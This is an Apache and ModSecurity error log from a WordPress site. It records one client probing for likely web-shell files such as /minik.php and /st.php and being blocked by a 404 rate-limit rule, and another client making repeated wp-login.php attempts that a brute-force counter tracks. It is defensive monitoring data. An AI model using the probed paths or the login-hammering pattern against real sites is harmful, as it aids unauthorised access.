[Mon Mar 02 10:50:07.598794 2026] [:error] [pid 28908:tid 28925] [client 20.104.206.150:42692] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aaT634qJmC8ih_lQQnAKDgAAAM8"]
[Mon Mar 02 10:50:08.015810 2026] [:error] [pid 28908:tid 28930] [client 20.104.206.150:42688] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/st.php"] [unique_id "aaT64IqJmC8ih_lQQnAKEQAAANQ"]
[Mon Mar 02 10:50:08.433814 2026] [:error] [pid 21575:tid 21584] [client 20.104.206.150:42700] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/st.php"] [unique_id "aaT64CrocdArcJqFfIm9BQAAAUU"]
[Mon Mar 02 10:50:08.864576 2026] [:error] [pid 21575:tid 21593] [client 20.104.206.150:48714] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/st.php"] [unique_id "aaT64CrocdArcJqFfIm9CQAAAU4"]
[Mon Mar 02 10:50:09.294725 2026] [:error] [pid 23872:tid 23894] [client 20.104.206.150:50807] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/st.php"] [unique_id "aaT64UzkQFuA2qBk8UPFIwAAAZM"]
[Mon Mar 02 10:50:09.765756 2026] [:error] [pid 23872:tid 23875] [client 20.104.206.150:48698] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upgrade.php"] [unique_id "aaT64UzkQFuA2qBk8UPFKwAAAYA"]
[Mon Mar 02 10:50:10.350000 2026] [:error] [pid 28795:tid 28881] [client 20.104.206.150:48678] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upgrade.php"] [unique_id "aaT64rROd53wZBkdI_eujwAAAJI"]
[Mon Mar 02 10:50:10.780238 2026] [:error] [pid 28795:tid 28887] [client 20.104.206.150:50117] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upgrade.php"] [unique_id "aaT64rROd53wZBkdI_eukgAAAJg"]
[Mon Mar 02 10:50:11.214890 2026] [:error] [pid 28793:tid 28819] [client 20.104.206.150:50121] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upgrade.php"] [unique_id "aaT64w2_fxBANaHo1f5XagAAAAw"]
[Mon Mar 02 10:50:20.366061 2026] [:error] [pid 31257:tid 31276] [client 91.92.242.216:62416] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT67P-JFLfishX45N853wAAAQ0"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:50:37.054442 2026] [:error] [pid 31257:tid 31263] [client 91.92.242.216:63327] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT6_f-JFLfishX45N86KAAAAQA"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:50:53.849564 2026] [:error] [pid 31257:tid 31278] [client 91.92.242.216:64345] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT7Df-JFLfishX45N86WgAAAQ8"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:51:10.323262 2026] [:error] [pid 28793:tid 28820] [client 91.92.242.216:64725] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT7Hg2_fxBANaHo1f5XjgAAAA0"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:51:26.740937 2026] [:error] [pid 23872:tid 23882] [client 91.92.242.216:65140] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT7LkzkQFuA2qBk8UPHBAAAAYc"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:51:43.718245 2026] [:error] [pid 31257:tid 31282] [client 91.92.242.216:65018] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT7P_-JFLfishX45N87LAAAARM"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:52:01.311904 2026] [:error] [pid 23872:tid 23880] [client 91.92.242.216:49164] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT7UUzkQFuA2qBk8UPHxgAAAYU"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:52:17.837574 2026] [:error] [pid 28908:tid 28929] [client 91.92.242.216:65068] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT7YYqJmC8ih_lQQnAKtQAAANM"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:52:35.838566 2026] [:error] [pid 21575:tid 21602] [client 91.92.242.216:50310] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT7cyrocdArcJqFfIm-WAAAAVc"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:52:53.369470 2026] [:error] [pid 31257:tid 31269] [client 91.92.242.216:51584] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT7hf-JFLfishX45N88sAAAAQY"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:53:12.285103 2026] [:error] [pid 23872:tid 23889] [client 91.92.242.216:53887] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT7mEzkQFuA2qBk8UPJkwAAAY4"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:53:29.360963 2026] [:error] [pid 28793:tid 28822] [client 91.92.242.216:54417] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT7qQ2_fxBANaHo1f5X1gAAAA8"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:53:46.554694 2026] [:error] [pid 21575:tid 21598] [client 91.92.242.216:55745] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT7uirocdArcJqFfIm_HwAAAVM"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:54:04.325552 2026] [:error] [pid 28794:tid 28851] [client 91.92.242.216:57141] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT7zKVy2qpaelbUob14GAAAAE8"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:54:22.166879 2026] [:error] [pid 21575:tid 21582] [client 91.92.242.216:58564] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT73irocdArcJqFfIm_XAAAAUM"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:54:39.136091 2026] [:error] [pid 28795:tid 28884] [client 91.92.242.216:59259] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT777ROd53wZBkdI_evpwAAAJU"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:54:55.459968 2026] [:error] [pid 21575:tid 21579] [client 91.92.242.216:60208] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT7_yrocdArcJqFfIm_kwAAAUA"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:55:12.459793 2026] [:error] [pid 23872:tid 23883] [client 91.92.242.216:61823] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT8EEzkQFuA2qBk8UPLagAAAYg"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:55:28.954630 2026] [:error] [pid 23872:tid 23892] [client 91.92.242.216:62962] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT8IEzkQFuA2qBk8UPL3gAAAZE"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:55:45.775638 2026] [:error] [pid 31257:tid 31285] [client 91.92.242.216:64737] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT8Mf-JFLfishX45N8_hQAAARY"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:56:02.784988 2026] [:error] [pid 23872:tid 23887] [client 91.92.242.216:49250] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT8QkzkQFuA2qBk8UPMwgAAAYw"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:56:27.801729 2026] [:error] [pid 31257:tid 31278] [client 91.92.242.216:59594] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT8W_-JFLfishX45N9ADgAAAQ8"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:56:44.702912 2026] [:error] [pid 23872:tid 23878] [client 91.92.242.216:61168] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT8bEzkQFuA2qBk8UPOXAAAAYM"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:57:01.551872 2026] [:error] [pid 31257:tid 31274] [client 91.92.242.216:62413] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT8ff-JFLfishX45N9A1gAAAQs"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:57:18.081758 2026] [:error] [pid 23872:tid 23887] [client 91.92.242.216:62940] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT8jkzkQFuA2qBk8UPPNAAAAYw"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:57:35.033812 2026] [:error] [pid 31257:tid 31280] [client 91.92.242.216:63170] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT8n_-JFLfishX45N9B0gAAARE"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:57:51.789194 2026] [:error] [pid 31257:tid 31277] [client 91.92.242.216:63150] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT8r_-JFLfishX45N9CDgAAAQ4"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:58:07.698769 2026] [:error] [pid 23872:tid 23880] [client 91.92.242.216:62169] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT8v0zkQFuA2qBk8UPROQAAAYU"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:58:14.804355 2026] [:error] [pid 23872:tid 23893] [client 91.92.242.216:64479] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT8xkzkQFuA2qBk8UPRYwAAAZI"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:58:17.740456 2026] [:error] [pid 23872:tid 23888] [client 91.92.242.216:64479] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT8yUzkQFuA2qBk8UPRagAAAY0"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:58:33.301110 2026] [:error] [pid 28795:tid 28880] [client 91.92.242.216:52223] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT82bROd53wZBkdI_exCwAAAJE"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:58:39.158045 2026] [:error] [pid 31257:tid 31269] [client 91.92.242.216:58252] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT83_-JFLfishX45N9CmgAAAQY"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:58:55.945753 2026] [:error] [pid 21575:tid 21581] [client 91.92.242.216:59287] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT87yrocdArcJqFfInCbQAAAUI"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:59:12.060583 2026] [:error] [pid 21575:tid 21590] [client 91.92.242.216:59516] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT9ACrocdArcJqFfInCjwAAAUs"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:59:28.201863 2026] [:error] [pid 28794:tid 28845] [client 91.92.242.216:59672] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT9EKVy2qpaelbUob15XwAAAEk"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:59:44.341219 2026] [:error] [pid 23872:tid 23883] [client 91.92.242.216:59402] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT9IEzkQFuA2qBk8UPS5QAAAYg"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:00:00.880192 2026] [:error] [pid 28794:tid 28839] [client 91.92.242.216:59402] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT9MKVy2qpaelbUob15kAAAAEM"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:00:17.244044 2026] [:error] [pid 28908:tid 28917] [client 91.92.242.216:58429] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT9QYqJmC8ih_lQQnAOrAAAAMc"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:00:33.619319 2026] [:error] [pid 28795:tid 28878] [client 91.92.242.216:57440] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT9UbROd53wZBkdI_excgAAAI8"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:00:50.130514 2026] [:error] [pid 23872:tid 23887] [client 91.92.242.216:56158] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT9YkzkQFuA2qBk8UPT7gAAAYw"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:00:58.094050 2026] [proxy_fcgi:error] [pid 21575:tid 21583] [client 103.4.122.14:54988] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1772420458.0468080043792724609375', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option'
[Mon Mar 02 11:01:08.630224 2026] [:error] [pid 23872:tid 23895] [client 91.92.242.216:56022] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT9dEzkQFuA2qBk8UPUcwAAAZQ"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:01:25.650619 2026] [:error] [pid 31257:tid 31277] [client 91.92.242.216:54682] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT9hf-JFLfishX45N9E3gAAAQ4"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:01:42.462880 2026] [:error] [pid 28908:tid 28920] [client 91.92.242.216:51941] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT9loqJmC8ih_lQQnAPBwAAAMo"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:01:59.325164 2026] [:error] [pid 28794:tid 28852] [client 91.92.242.216:49856] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT9p6Vy2qpaelbUob153gAAAFA"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:02:16.712475 2026] [:error] [pid 23872:tid 23890] [client 91.92.242.216:64764] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT9uEzkQFuA2qBk8UPVngAAAY8"], referer: https://vetstars.com.au/wp-login.php
